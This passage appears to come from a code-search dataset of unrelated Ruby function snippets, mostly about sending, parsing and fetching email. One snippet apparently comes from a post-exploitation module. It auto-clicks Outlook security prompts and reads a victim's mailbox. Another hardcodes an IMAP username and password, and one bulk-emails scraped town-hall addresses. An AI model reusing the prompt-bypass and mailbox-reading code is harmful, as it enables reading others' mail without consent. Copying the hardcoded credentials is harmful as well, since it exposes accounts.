end", "def committee(email, recipients)\n @body = email.body\n mail to: recipients, subject: email.subject\n end", "def sendTally(contents)\n user_email = \"#{@member}@apache.org\"\n pmc = ASF::Committee.find(contents['project'])\n pmc_email = \"#{pmc.mail_list}@apache.org\"\n subject = \"[RESULT]\" + contents['subject']\n last_votes = Hash.new\n votes = contents['votes']\n votes.each { |v|\n last_votes[v['member']] = [v['vote'], v['timestamp']]\n }\n counts=Hash.new(0)\n last_votes.each { |k,v|\n counts[v[0]] += 1\n }\n started = Time.parse votes[0]['timestamp']\n elapsed=(Time.now - started) / (60*60)\n body_text = <<-EOD.gsub(/^ /,'') # Eclipse plugin does not like heredoc squiggle\n Here is the tally of the latest votes from each voter:\n\n #{last_votes.map{ |k,v| \"Member: #{k.ljust(20)} Vote: #{v[0]} Date: #{v[1]}\"}.join(\"\\n\")}\n\n Vote Count\n #{counts.sort_by{|k,v| VALID_VOTES.index(k) || 99}.map{|k,v| \" #{k} #{v.to_s.rjust(5)}\"}.join(\"\\n\")}\n\n Vote started: #{started.to_s[0..9]} Hours elapsed: #{elapsed.to_i}\n EOD\n _body_text body_text # debug\n\n # create the email to the p(pmc)\n mail = Mail.new do\n to pmc_email\n from user_email\n cc user_email\n subject subject\n text_part do\n body body_text\n end\n end\n mail.deliver\nend", "def proto_loop(type=\"post\", count=nil)\n\n # Get content type\n # For everything but pages, we want to reverse the order\n # so that the most recent content displays first.\n aggregator = Content.all(:content_type => type)\n aggregator.reverse! unless type == \"page\"\n \n # Limit the aggregator to the desired content count\n aggregator = aggregator[0..(count-1)] unless count.nil?\n \n # We don't know if the content is set to anything, so we'll set it up here first\n @old_content = @content || nil\n \n # Run through each item the aggregator finds\n aggregator.each_with_index do |node, index|\n\n @index = index\n @content = node\n \n yield\n \n end\n \n # Reset the content back to normal\n @content = @old_content || nil\n \n end", "def process_emails(reader_info)\n notifications = reader_info.notifications\n notifications.each do |notification|\n case notification[:notification_type]\n when \"email\"\n send_email(reader_info) if notification[:checked]\n when \"internal\"\n send_internal(reader_info) if notification[:checked]\n when \"sms\"\n send_sms(reader_info) if notification[:checked]\n when \"e-boks\"\n send_e_boks(reader_info) if notification[:checked]\n end\n end\n end", "def show_body\n I18n.with_locale @email_locale do\n @mail_body = mail_body(@preview, @part_type)\n render :show_body, layout: 'rails_email_preview/email'\n end\n end", "def consume_body\n seen_nest = false\n nest = 0\n\n body = []\n\n while tk = get_tk do\n body << tk\n\n case tk\n when TkDO, TkCLASS, TkMODULE, TkDEF, TkBEGIN, TkIF, TkUNLESS, TkCASE,\n TkWHILE, TkUNTIL, TkFOR then\n nest += 1\n seen_nest = true\n when TkEND then\n nest -= 1\n when TkNL then\n break unless seen_nest\n end\n\n break if nest == 0 and seen_nest\n end\n\n body\n end", "def each_body\n return enum_for(__method__) unless block_given?\n\n unless @message.body.parts.empty?\n @message.body.parts.each do |part|\n yield part.content_type, part.body.decoded\n end\n else\n yield @message.content_type, @message.body.decoded\n end\n end", "def mailto_body_template\n Liquid::Template.parse(File.read(File.join(@options[:templates], \"mailto_body.liquid\")))\n end", "def receipts_to_type(type)\n receipts_to_or_from_type(type).sent_messages_receipts\n end", "def parse(mail)\n @mail = mail\n post = []\n body = \"\"\n if !mail.body.parts.empty?\n get_textual_body_io.each_line do |line|\n if line.match(/^\\s*\\/\\/ /)\n post << line.gsub(/^\\s*\\/\\/ /, \"\").chomp if post.length == 0\n post << mail.date.to_date if post.length == 1\n post << body if post.length == 2 && body.length > 0\n if post.length == 3\n yield post\n post = []\n body = \"\"\n post << line.gsub(/^\\s*\\/\\/ /, \"\").chomp\n end\n else\n body << line.gsub(/\\n/, \"\")\n end\n end # end each_line\n post << body\n yield post if post.length == 3\n end # end if\n end", "def process\n return 'OK' if @email.to.first[:token] == 'example'\n return process_image if @email.to.first[:token] == 'flyers'\n\n token = ReplyToken.find(@email.to.first[:token])\n\n case token.reply_type\n when 'participation_request'\n process_participation_request(token)\n when 'conversation'\n process_conversation(token)\n when 'comment'\n process_comment(token)\n when 'community'\n process_community_reply(token)\n end\n\n track_reply(token)\n\n token.use!\n end", "def mailCount count_type=nil\n # Init the email count to start fresh every time this is called\n total_count = 0\n\n # Get the total count of emails in the Exchange inboxes\n exch_count = exchangeMailCount\n total_count += exch_count\n \n # Get the total count of emails in the IMAP inboxes\n imap_count = imapMailCount\n total_count += imap_count\n\n @email_count = total_count\n puts total_count\n growlNotify\n return @email_count.to_s\n end", "def reprocess\n #rt = rem_type.downcase\n\n @rems = nil\n @fus = nil\n\n case rem_type\n when 'Agent Monthly'\n @rems = AgentReminder.find_all_by_rem_type_and_month_and_sent('monthly', month, false)\n set_ar_fields\n when 'Agent Six-monthly'\n @rems = AgentReminder.find_all_by_rem_type_and_month_and_sent('six-monthly', month, false)\n set_ar_fields\n when 'Customer Monthly'\n @fus = CustomerFu.find_all_by_fu_type_and_month_and_sent('monthly', month, false)\n set_fu_fields\n end\n end", "def printer(attendees)\n\n batch_badge_creator(attendees).each do |badge_string|\n puts badge_string\n end\n \n assign_rooms(attendees).each do |room_string|\n puts room_string\n end \n \nend", "def set_cache(email, type, body)\n @members[type] ||= {}\n @members[type][email] = body\n end", "def read_emails(folder,keyword,atrans,acftrans)\r\n view = framework.threads.spawn(\"ButtonClicker\", false) {\r\n click_button(atrans,acftrans)\r\n }\r\n command = \"Get-Emails \\\"#{keyword}\\\" \\\"#{folder}\\\"\"\r\n execute_outlook_script(command)\r\n end", "def lien_pret\n\n\tlien_pret=get_townhall_urls(oise_town_urls,ville)\n\tmail_pret=[]\n\tmyash=Hash.new\n\tt=0\n\tfor i in lien_pret\n\t\t\n\t\tu = \"\"\n\t\tbegin\n\t\t\tu = get_townhall_email(i)\n\n\t\trescue => e\n\n\t\t\tputs \"il y a erreur\"\n\n\t\tend\n\n\t\tif u !=\"\"\n\t\t\tprint \"#{get_townhall_email(i)} \"\n\n\t\t\tmyash.store(nom_pret[t],u)\n\t\t\toptions = { :address => \"smtp.gmail.com\",\n\t\t\t\t:port => 587,\n\t\t\t\t:user_name => '',\n\t\t\t\t:password => '',\n\t\t\t\t:authentication => 'plain',\n\t\t\t\t:enable_starttls_auto => true }\n\n\t\t\t\tMail.defaults do\n\t\t\t\t\tdelivery_method :smtp, options\n\t\t\t\tend\n\n\t\t\t\tMail.deliver do\n\t\t\t\t\tto '#{get_townhall_email(i)} '\n\t\t\t\t\tfrom 'jose'\n\t\t\t\t\tsubject 'Test programmation ruby'\n\t\t\t\t\tbody \"Bonjour,\nJe m'appelle [PRÉNOM] et je permets de contacter la mairie de [CITY_NAME] à propos du remarquable travail que font Les Restos du Coeur. Cette association répand le bien dans la France et aide les plus démunis à s'en tirer.\n\nAvez-vous pensé à travailler avec eux ? Soutenir Les Restos du Coeur, c'est important pour notre cohésion sociale : rejoignez le mouvement !\n\nMerci à vous\"\n\t\t\t\tend\n\t\t\tend\n\t\t\tt=t+1\n\t #puts t\n\n\t\t#if t==10\n\t\t# \tbreak\n\t\t# end=end\n\t\t\n\tend\nend", "def send_email(subject_mail_part, attach_file, body_mail_part, email_type, delivery_call, test_subject = nil)\n last_failed_response = nil\n response = nil\n content = attach_file.read unless attach_file.nil?\n @candidates.each do |candidate|\n sg_mail =\n create_mail((test_subject.nil? ? subject_mail_part : MailPart.new_subject(test_subject.call(candidate))),\n email_type, candidate.account_name)\n\n add_attachment_file(attach_file, sg_mail, content) unless attach_file.nil?\n\n create_personalization(candidate, sg_mail, test_subject ? @admin : nil)\n\n expanded_text = expand_text(candidate, subject_mail_part, body_mail_part, delivery_call)\n\n sg_mail.add_content(SendGrid::Content.new(type: 'text/html', value: expanded_text))\n\n response = post_email(sg_mail)\n next if response.status_code[0].to_s == '2'\n\n last_failed_response = response\n account_name = candidate.account_name\n status_code = response.status_code\n log_msg = \"Bad response for #{email_type} message for #{account_name} because of a bad response: #{status_code}\"\n Rails.logger.info(log_msg)\n Rails.logger.info(\"Status=#{response.status_code} body=#{response.body}\")\n end\n last_failed_response || response\n end", "def create_course_offerings_work_order(type)\n @world[type].each do |school|\n if !school[\"offerings\"].nil? and school[\"offerings\"].size > 0\n school[\"offerings\"].each do |year, course_offerings|\n course_offerings.each do |course_offering|\n id = course_offering[\"id\"]\n ed_org_id = course_offering[\"ed_org_id\"]\n session = course_offering[\"session\"]\n course = course_offering[\"course\"]\n grade = course_offering[\"grade\"]\n\n title = GradeLevelType.to_string(grade) + \" \" + course[\"title\"]\n title = GradeLevelType.to_string(grade) if GradeLevelType.is_elementary_school_grade(grade)\n\n @queue.push_work_order({:type=>CourseOffering, :id=>id, :title=>title, :edOrgId=>ed_org_id, :session=>session, :course=>course})\n end\n end\n end\n end\n end", "def index\n @email_types = EmailType.all\n end", "def create_inbound_email_from_mail(status: T.unsafe(nil), **mail_options, &block); end", "def overall_tickets\n\n end", "def common_code(email_elem, post_url = Constants::SENDGRID_PARSE_URL)\n p \"testing inbound_email.inspect:#{email_elem.inspect}\"\n\n input_str = email_elem.subject\n input_str ||= email_elem.body_text\n meantItRel_hash = ControllerHelper.parse_meant_it_input(input_str)\n p \"meantItRel_hash.inspect:#{meantItRel_hash.inspect}\"\n receiver_pii_count = meantItRel_hash[ControllerHelper::MEANT_IT_INPUT_RECEIVER_PII].nil? ? 0 : 1\n message_type_str = ControllerHelper.parse_message_type_from_email_addr(email_elem.to)\np \"email_elem.to:#{email_elem.to}\"\np \"message_type_str:#{message_type_str}\"\n endpoint_tag_arr = meantItRel_hash[ControllerHelper::MEANT_IT_INPUT_TAGS].dup\n p \"BBBBBBBB #{email_elem.body_text} BBBBBBB endpoint_tag_arr:#{endpoint_tag_arr.inspect}\"\n # Check each tag for existance\n non_exist_endpoint_tag_arr = []\n endpoint_tag_arr.each { |tag_elem|\n non_exist_endpoint_tag_arr << tag_elem if !Tag.exists?(:name => tag_elem)\n } # end input_tag_arr.each ...\n mood_tag_arr = []\n if message_type_str == MeantItMessageTypeValidator::MEANT_IT_MESSAGE_OTHER\n # CODE!!!! Get mood tags using reasoner\n # mood_tag_arr += ...\n else\n mood_tag_arr << message_type_str\n end # end if message_type_str == MeantItMessageTypeValidator:: ...\n p \"mood_tag_arr:#{mood_tag_arr.inspect}\"\n non_exist_mood_tag_arr = []\n mood_tag_arr.each { |tag_elem|\n non_exist_mood_tag_arr << tag_elem if !Tag.exists?(:name => tag_elem)\n } # end mood_tag_arr.each ...\n p \"#AAAA non_exist_mood_tag_arr.inspect:#{non_exist_mood_tag_arr.inspect}\"\n\n receiver_pii_str = meantItRel_hash[ControllerHelper::MEANT_IT_INPUT_RECEIVER_PII]\n auto_entity = nil\n if (auto_entity_arr = ControllerHelper.auto_entity_domain?(receiver_pii_str))\n auto_entity = Entity.find(auto_entity_arr[ControllerHelper::AUTO_ENTITY_DOMAIN_ENTITY_ID]) if !auto_entity_arr.nil?\n end # end if (auto_entity_arr = ControllerHelper.auto_entity_domain? ...\n endPoint_count = auto_entity.nil? ? 2 : 3\n\n assert_differences([\n ['InboundEmailLog.count', 0],\n ['InboundEmail.count', 1],\n ['EndPoint.count', endPoint_count],\n ['Pii.count', 1+receiver_pii_count],\n#20110713 ['Entity.count', 1],\n#20110713 ['EntityDatum.count', 1],\n#20110713 ['EntityEndPointRel.count', 1],\n ['Tag.count', non_exist_endpoint_tag_arr.size + non_exist_mood_tag_arr.size],\n ['EndPointTagRel.count', endpoint_tag_arr.size],\n ['MeantItRel.count', 1],\n ['MeantItMoodTagRel.count', non_exist_mood_tag_arr.size]\n ]) do\n @request.path = post_url if !post_url.nil?\n post :create, :inbound_email => email_elem.attributes\n end\n\np \"MeantItMoodTagRel.count:#{MeantItMoodTagRel.count}\"\np \"MeantItMoodTagRel.all:#{MeantItMoodTagRel.all.inspect}\"\n\n if post_url == Constants::SENDGRID_PARSE_URL\n assert_response :success\n else\n assert_redirected_to inbound_email_path(assigns(:inbound_email))\n end # end if post_url == Constants::SENDGRID_PARSE_URL\n\n # Check that email is created\n inbound_email_from_db = InboundEmail.find_by_id(assigns(:inbound_email)[\"id\"])\n assert_not_nil inbound_email_from_db\n\n # Check that sender Pii\n sender_pii_email_hash = ControllerHelper.parse_email(email_elem.from)\n sender_pii_str = sender_pii_email_hash[ControllerHelper::EMAIL_STR]\n sender_pii_nick_str = sender_pii_email_hash[ControllerHelper::EMAIL_NICK_STR]\n if post_url != Constants::SENDGRID_PARSE_URL\n sender_pii_str = \"anonymous\"\n sender_pii_nick_str = nil\n end # end if post_url != Constants::SENDGRID_PARSE_URL\n sender_pii_hash = ControllerHelper.get_pii_hash(sender_pii_str)\n sender_pii = Pii.find_by_pii_value(sender_pii_hash[ControllerHelper::PII_VALUE_STR])\n assert_not_nil sender_pii\n\n # Check that sender EndPoint is created\n#20110628a sender_endPoint = sender_pii.endPoint\n#20110628a assert_not_nil sender_endPoint\n sender_endPoint_arr = sender_pii.endPoints\n assert_equal 1, sender_endPoint_arr.size\n sender_endPoint = sender_endPoint_arr[0]\n if post_url != Constants::SENDGRID_PARSE_URL\n assert_equal \"anonymous\", sender_endPoint.pii.pii_value\n else\n assert_equal sender_pii_str, sender_endPoint.pii.pii_value\n end # end if post_url != Constants::SENDGRID_PARSE_URL\n\n#20110713 # Check that sender Entity is created\n#20110713 sender_entities = sender_endPoint.entities\n#20110713 assert_equal 1, sender_entities.size\n#20110713 sender_entity = sender_entities[0]\n#20110713 assert_not_nil sender_entity\n#20110713 # Check that sender Entity has the same pii\n#20110713 person = ControllerHelper.find_person_by_id(sender_entity.property_document_id)\n#20110713 assert_equal person.email, sender_pii.pii_value\n\n#20110713 # Check that verification_type is email\n#20110713 assert_equal 1, sender_entity.entityEndPointRels.size\n#20110713 sender_entity_entityEndPointRel = sender_entity.entityEndPointRels[0]\n#20110713 assert_equal VerificationTypeValidator::VERIFICATION_TYPE_EMAIL, sender_entity_entityEndPointRel.verification_type\n\n # Check receiver_endPoint\n receiver_nick_str = meantItRel_hash[ControllerHelper::MEANT_IT_INPUT_RECEIVER_NICK]\n receiver_pii_hash = ControllerHelper.get_pii_hash(receiver_pii_str)\n receiver_pii_str = receiver_pii_hash[ControllerHelper::PII_VALUE_STR]\n receiver_endPoint = EndPoint.find_by_creator_endpoint_id_and_nick(sender_endPoint.id, receiver_nick_str) if !receiver_nick_str.nil? and !receiver_nick_str.empty?\n # Try getting by pii if nick is not provided\n if receiver_endPoint.nil? and !receiver_pii_str.nil? and !receiver_pii_str.empty?\n receiver_endPoint_arr = EndPoint.find(:all, :conditions => { :creator_endpoint_id => sender_endPoint.id})\n receiver_endPoint_arr.each { |receiver_ep|\n if !receiver_ep.pii.nil? and receiver_ep.pii.pii_value == receiver_pii_str\n receiver_endPoint = receiver_ep\n break\n end # end if !receiver_ep.pii.nil?\n } # end receiver_endPoint_arr ...\n end # end if receiver_endPoint.nil? ...\n assert_not_nil receiver_endPoint\n if receiver_pii_str.nil? or receiver_pii_str.empty?\n assert_nil receiver_endPoint.pii\n else # else if !receiver_pii_str.nil? and !receiver_pii_str.empty?\n assert_equal receiver_pii_str, receiver_endPoint.pii.pii_value\n end # end # else if !receiver_pii_str.nil? and !receiver_pii_str.empty?\n\n # Check receiver_endPoint tags\n p \"meantItRel_hash.inspect:#{meantItRel_hash.inspect}\"\n tag_str_arr = meantItRel_hash[ControllerHelper::MEANT_IT_INPUT_TAGS]\n p \"tag_str_arr:#{tag_str_arr}\"\n tagged_endPoints = EndPoint.tagged(tag_str_arr)\n p \"tagged_endPoints.inspect:#{tagged_endPoints.inspect}\"\n tagged_endPoint = tagged_endPoints[0]\n if tag_str_arr.nil? or tag_str_arr.empty?\n assert_equal 0, tagged_endPoints.size\n else\n assert_equal 1, tagged_endPoints.size\n assert_equal receiver_endPoint, tagged_endPoint\n end # end if tag_str_arr.nil? ...\n \n # Check that MeantItRel is related to sender_endPoint and receiver_endPoint\n assert_equal 1, sender_endPoint.srcMeantItRels.size\n assert_equal receiver_endPoint.id, sender_endPoint.srcMeantItRels[0].dst_endpoint.id\n assert_equal 1, receiver_endPoint.dstMeantItRels.size\n assert_equal sender_endPoint.id, receiver_endPoint.dstMeantItRels[0].src_endpoint.id\n assert_equal sender_endPoint.srcMeantItRels[0], receiver_endPoint.dstMeantItRels[0]\n # Check that MeantItRel is related to email\n assert_equal inbound_email_from_db.id, sender_endPoint.srcMeantItRels[0].inbound_email_id\n assert_equal inbound_email_from_db.id, receiver_endPoint.dstMeantItRels[0].inbound_email_id\n # Check meantIt type\n assert_equal message_type_str, sender_endPoint.srcMeantItRels[0].message_type\n # Check mood tags\n if sender_endPoint.srcMeantItRels[0].message_type == MeantItMessageTypeValidator::MEANT_IT_MESSAGE_OTHER\n # CODE!!!! Check with reaonser\n else\n meantItMoodTags = sender_endPoint.srcMeantItRels[0].tags\n meantItMoodTag = meantItMoodTags[0]\n assert_equal 1, meantItMoodTags.size\n assert_equal MeantItMoodTagRel::MOOD_TAG_TYPE, meantItMoodTag.desc\n assert_equal message_type_str, meantItMoodTag.name\n end # end if sender_endPoint.srcMeantItRels[0].message_type == MeantItMessageTypeValidator::MEANT_IT_MESSAGE_OTHER\n\n # Check auto_entity association\n if auto_entity\n auto_entity.reload\n assert_not_nil auto_entity.endPoints\n auto_entity_endpoint_association_found = false\n auto_entity.endPoints.each { |auto_entity_ep_elem|\n if !auto_entity_ep_elem.pii.nil? and auto_entity_ep_elem.pii.pii_value == receiver_pii_str\n auto_entity_endpoint_association_found = true if auto_entity_ep_elem.creator_endpoint_id == auto_entity_ep_elem.id\n end # end if auto_entity_ep_elem.pii_value == receiver_pii_str\n } # end auto_entity.endPoints.each ...\n assert auto_entity_endpoint_association_found\n end # end if auto_entity\n \np \"#AAAAA MeantItMoodTagRel.count:#{MeantItMoodTagRel.count}\"\np \"#AAAAA MeantItMoodTagRel.all:#{MeantItMoodTagRel.all.inspect}\"\n end", "def process_messages(type)\n message_hash = {\n '_correct' => [\n 'Correct!',\n 'That\\'s right',\n 'Nice, good choice!',\n 'A fine letter you picked',\n 'Thumbs up from me'\n ],\n '_incorrect' => [\n 'Not quite the right guess...',\n 'Getting closer... I hope anyway',\n 'Nope, not what I\\'m looking for',\n 'A compeltely different letter would have done the trick.'\n ],\n '_invalid' => [\n 'That guess is simply unacceptable! Humph.',\n 'Ensure you\\'re typing unused letters only or save',\n 'Input invalid. Beep boop.',\n 'Executioner: invalid input huh... this player isn\\'t takin\\' us seriously. Best sort \\'im out.'\n ],\n '_serialise' => ['Serialising...', 'Saving...', 'Committing your performance to memory!']\n }\n to_print = message_hash[type].sample\n message_colour(type, to_print)\n end", "def request_mail(from_email, content_body, requestor_type)\n @content= content_body\n @sender = from_email\n @requestor_type = requestor_type\n mail from: from_email, to: 'contact@codemalaysia.com', subject: 'PFS general enquiry'\n end", "def createPrinterReceivedEmail(order_hash, status_hash)\n\t\tprocess = ProcessHandler.new\n\t\tbody = createPrinterReceivedEmailBody(order_hash)\n\t\torder_hash[:items].each do |item|\n\t\t\tbody += itemForEmailBody(order_hash, process.createItemHash(item, order_hash, status_hash))\n\t\tend\t \n\n\t\torder_hash[:body] = body\n\tend", "def receive(email)\n post = Post.new\n\n # Will fail if no matches. Rely on validation\n list_post_header = email.header_string(\"List-Post\")\n matches = list_post_header.match(/<mailto:(\\S+)@/) if list_post_header\n if matches\n mailing_list_name = matches[1]\n else\n mailing_list_name = email.to.first.to_s\n end\n post.mailing_list = MailingList.find_by_name(mailing_list_name)\n\n post.subject = email.subject\n \n if email.multipart?\n plain_text_part = nil\n\n # Outlook\n related_part = email.parts.find { |part| \n part.content_type == \"multipart/related\"\n }\n if related_part\n alt_part = related_part.parts.find { |part| \n part.content_type == \"multipart/alternative\"\n }\n else\n alt_part = email.parts.find { |part| \n part.content_type == \"multipart/alternative\"\n }\n end\n \n # OS X rich text email\n if alt_part \n plain_text_part = alt_part.parts.find { |part| \n part.content_type == \"text/plain\"\n }\n end\n\n plain_text_part = email.parts.find { |part| \n part.content_type == \"text/plain\"\n } unless plain_text_part\n \n plain_text_part = email.parts.find { |part| \n part.content_type == \"text/html\"\n } unless plain_text_part\n \n post.body = plain_text_part.body\n end\n \n if post.body.blank?\n post.body = email.body\n end\n \n post.from_name = email.friendly_from\n post.from_email_address = email.from\n post.date = email.date\n begin\n post.save!\n rescue => save_error\n RACING_ON_RAILS_DEFAULT_LOGGER.error(\"Could not save post: #{save_error}\")\n if post and !post.errors.empty?\n RACING_ON_RAILS_DEFAULT_LOGGER.error(post.errors.full_messages)\n end\n raise\n end\n end", "def scrape_email_texts\n switch_to_chronological_view\n expand_all_emails\n all('div#tm-tl div.GJHURADDJB').map(&:text)\n end", "def printer(attendees)\nbatch_badge_creator(attendees).each_with_index do |badges|\n puts badges\nend\nassign_rooms(attendees).each_with_index do |room_assignments|\n puts room_assignments\nend\nend", "def get_email_subject(email_type)\n email_subject = email_type\n case(email_type)\n when \"welcome\"\n email_subject = \"Welcome to Aspera Files\"\n when \"reset\"\n email_subject = \"Password Reset\"\n end\n return email_subject\n end", "def email_for_no_pto(full_name, pto, pto_type) \n Mail.defaults do\n delivery_method :smtp,\n address: \"email-smtp.us-east-1.amazonaws.com\",\n port: 587,\n :user_name => ENV['a3smtpuser'],\n :password => ENV['a3smtppass'],\n :enable_ssl => true\n end\n email_body = \"#{full_name[0]} #{full_name[1]} tried to request #{pto_type}and they have #{pto}PTO days left to request.<a href= 'https://wv-timesheet-clock.herokuapp.com/'> To Reply Click Here . </a>\"\n mail = Mail.new do\n from ENV['from']\n to 'wvtimeclockdev@gmail.com'\n subject \"PTO Request with no days to request\"\n \n html_part do\n content_type 'text/html'\n body email_body\n end\n end\n mail.deliver!\nend", "def do_toybox(entity_uri, type)\n\n graph = RDF::Graph.new\n runner = AAC::QueryRunner.new(@options[:toybox_sparql] || @options[:sparql])\n\n # Treat ULAN. AAT, and TGN entities as special cases\n base_type = type\n type = \"Getty\" if entity_uri.start_with? \"http://vocab.getty.edu\"\n\n if type == \"Getty\" && base_type == \"Actor\"\n $ulan_lookup ||= JSON.parse(File.read(\"metadata/global_results/ulan_lookup.json\"))\n internal_links = $ulan_lookup[entity_uri]\n \n internal_links.each do |obj_id|\n obj_id = curry(obj_id)\n uri = @redis.get(\"aac:reverse_lookup:no_redirect:#{obj_id}\")\n data = @redis.get(\"aac:uri:#{uri}\") \n next unless data \n parsed_data = JSON.parse(data)\n parsed_data[\"@graph\"][0][\"id\"] = entity_uri\n parsed_data[\"@graph\"][0].delete(\"exact_match\")\n parsed_data[\"@graph\"][0].delete(\"identified_by\")\n new_graph = JSON::LD::API.toRdf(parsed_data)\n graph << new_graph\n # parsed_data = JSON.parse(data)[\"@graph\"].first\n # parsed_data.keys.filter(|key| key.starts_with? \"toybox\").each do |toybox_data|\n\n # binding.pry\n end\n end\n Dir.glob(\"metadata/toybox/#{type}/*.yaml\") do |file|\n sparql_query = YAML.load_file(file)\n base_query = AAC::QueryObject.new(sparql_query)\n base_query.prefixes = {\n crm: \"http://www.cidoc-crm.org/cidoc-crm/\", \n toybox: \"http://browse.americanartcollaborative.org/toybox#\"\n }\n\n if sparql_query[\"ask\"]\n valid = runner.ask (base_query.ask_query({\"entity_uri\" => entity_uri.strip}))\n next unless valid\n end\n\n current_query = base_query.construct_query({\"entity_uri\" => entity_uri.strip})\n graph << runner.get_graph(current_query)\n end\n graph\n end", "def print_all(type)\n\n #Prints the names of all exercises in exercise_list\n if type == \"exercise\"\n\n #Stops if the exercise list is empty\n if @exercise_list.empty? == true\n puts \"Database Empty.\"\n return -1\n #Iterates over array and prints\n else\n for i in 0..@exercise_list.size-1 do\n puts @exercise_list[i].name\n end\n return 0\n end\n\n #Prints the name of all workouts in workout_routines\n elsif type == \"workout\"\n\n #Stops if the workout list is empty\n if @workout_routines.empty? == true\n puts \"Database Empty.\"\n return -1\n #Iterates over array and prints\n else\n for i in 0..@workout_routines.size-1 do\n puts @workout_routines[i].name\n end\n return 0\n end\n #Error handling\n else\n return -1\n end\n end", "def handle(uids)\n each_message uids, 'text/plain' do |uid, mail|\n @mail = mail\n @url = nil\n @description = nil\n\n case mail.from.first\n when 'A2ATransfer@us.hsbc.com' then\n next false unless handle_a2atransfer\n when 'alerts@email.hsbcusa.com' then\n next false unless handle_alert\n when 'HSBC@email.hsbcusa.com' then\n next false unless handle_hsbc\n else\n log \"Unknown From: #{mail.from.join ', '}\"\n next false\n end\n\n add_item mail.subject, @description, mail.from, mail.date, @url,\n mail.message_id, 'HSBC'\n end\n end", "def licence_assign_unassign_deactivate_mail(type)\n url=url_link\n user = User.find(ProductLicenceDetail.find_with_deleted(:first, :conditions => [\"product_licence_id = ?\", \"#{@product_licence.id}\"]).user_id)\n recipient = []\n recipient << user.email\n recipient << get_lawfirm_admin_email(user.id)\n cc = current_user.email\n subject = (type == \"u\"? \"Licence unassignment details\" : \"Licence de-activation details\")\n email = {}\n (type == \"u\") ? (email[:message] = \"#{Product.find(@product_licence.product_id).name} licence has been unassigned to #{user.full_name}\") : (email[:message] = \"#{Product.find(@product_licence.product_id).name} licence has been deactivated and it is currently been assigned to #{user.full_name}\")\n liviaMailer = LiviaMailer\n end", "def sync\n imap = imap_login\n imap.search([\"NOT\", \"SEEN\"]).each do |message_id|\n envelope = imap.fetch(message_id, \"ENVELOPE\")[0].attr[\"ENVELOPE\"]\n puts \"#{envelope.from[0].name}: \\t#{envelope.subject}\"\n\n # TODO right now we are hardcoding the regex's which are used in matching\n # and extracting data out of the incoming mail, at some point this\n # should be customizable by the end user\n\n # TODO we are assuming that all messages matching the criteria retrieved\n # from this imap account belong to this mailing list\n\n # handle subscription confirmation\n if envelope.subject =~ /^\\s*confirm\\s*([a-f0-9]*)\\s*$/\n puts \"confirm subscription #{$1}\"\n smtp = smtp_login\n message = message_for :address => request_address, :subject => \"confirm #{$1}\", :body => \"confirm #{$1}\"\n smtp.send_message message, @smtp_username, request_address\n smtp.finish\n\n # handle received patches\n elsif envelope.subject =~ /^\\s*\\[PATCH[^\\]]*\\]\\s*#([0-9]*).*$/i\n puts \"Received patch #{$2}\"\n puts \" Associating w/ issue ##{$1}\"\n\n issue = Issue.find $1\n patch = Patch.new :issue_id => issue.id,\n :mailing_list_id => self.id,\n :message_id => envelope.headers['Message-Id'],\n :subject => $2,\n :content => envelope.body\n patch.save!\n\n issue.status = IssueStatus.find_by_name(\"In Progress\")\n issue.save!\n\n # handle chained patches (first one may be the only one w/ the issue id)\n elsif envelope.subject =~ /^\\s*\\[PATCH[^\\]]*\\].*$/i\n # TODO handle multiple levels of patch replies\n parent_message_id = envelope.headers['In-Reply-To']\n parent_patch = Patch.find_by_message_id(parent_message_id)\n\n puts \"Received chained patch #{$2}\"\n puts \" Associating w/ issue ##{parent_patch.issue_id} (parent patch ##{parent_patch.id})\"\n\n patch = Patch.new :issue_id => parent_patch.issue_id,\n :mailing_list_id => self.id,\n :patch_id => parent_patch.id,\n :message_id => envelope.headers['Message-Id'],\n :subject => $2,\n :content => envelope.body\n\n patch.save!\n\n issue.status = IssueStatus.find_by_name(\"In Progress\")\n issue.save!\n\n # handle received patch comments\n elsif envelope.subject =~ /^\\s*RE:\\s*\\[PATCH[^\\]]*\\]\\s*#([0-9]*).*$/i\n # TODO handle multiple levels of replies\n parent_message_id = envelope.headers['In-Reply-To']\n parent_patch = Patch.find_by_message_id(parent_message_id)\n\n puts \"Received response to patch #{$2}\"\n puts \" Associating w/ patch ##{parent_patch.id}\"\n\n patch_comment = PatchComment.new :patch_id => parent_patch.id,\n :message_id => envelope.headers['Message-Id'],\n :content => envelope.body\n\n status = if envelope.body =~ /.*NACK.*/i\n IssueStatus.find_by_name(\"Rejected\")\n elsif envelope.body =~ /.*ACK.*/i\n IssueStatus.find_by_name(\"Resolved\")\n else\n IssueStatus.find_by_name(\"Feedback\")\n end\n\n issue.status = status\n issue.save!\n end\n\n\n end\n end", "def fetch_mail\n# \tp \"Fetching mail...\"\n \tconfig = { :host => 'imap.gmail.com', :port => 993, :username => 'CrowdAssistant', :password => 'CrowdAss'}\n \timap = Net::IMAP.new(config[:host], config[:port], true)\n \timap.login(config[:username], config[:password])\n \timap.select(\"INBOX\")\n \tmessages_to_archive = []\n \timap.search([\"NOT\", \"DELETED\"]).each do |message_id|\n \t\ttask = imap.fetch(message_id, 'BODY[TEXT]')[0].attr['BODY[TEXT]']\n \t\tmessage = imap.fetch(message_id, 'ENVELOPE')[0].attr['ENVELOPE']\n \t\tfrom = \"#{message.sender[0].mailbox}@#{message.sender[0].host}\"\n# p from\n \t\tu = User.find_by_email(from)\n# p u\n \t\tif u\n\t \t\t#Why does an empty resource and resourcetype fail?\n task = task.gsub(\"=\\r\\n\", \"\")\n\t \t\tt = Task.create(:user_id => u.id, :instructions => task, :fields => \"[{\\\"Reply\\\":\\\"t\\\"}]\", :priority => 2, :workflow => \"p\", :redundancy => 2, :resource => \"www.google.com\", :resourcetype => \"l\", :status=>\"Not Started\")\n\t \t\tAssistant.handle(t)\n\t \telse\n#\t \t\tp \"Whoops, some dude who hasn't signed up sent us an email\"\n\t \tend\n \t\tmessages_to_archive << message_id\n \tend\n \timap.store(messages_to_archive, \"+FLAGS\", [:Deleted]) unless messages_to_archive.empty?\n end", "def printer(attendee)\n batch_badge_creator(attendee).each do |x| puts x #interates through the attendee array to out\"puts\" the list of badges created by \"batch_badge_creator\"\n end\n assign_rooms(attendee).each do |x| puts x #interates through the attendee array to out\"puts\" the room assignment list created by \"assign_rooms\"\n end\nend", "def type(msg) # :yields: type\n if (msg == 'A')\n thread[:mode] = :ascii\n \"200 Type set to ASCII\"\n elsif (msg == 'I')\n thread[:mode] = :binary\n \"200 Type set to binary\"\n end\n end", "def index\n @email_templates = @active_org.email_templates\n end", "def each_loot(wspace=workspace, 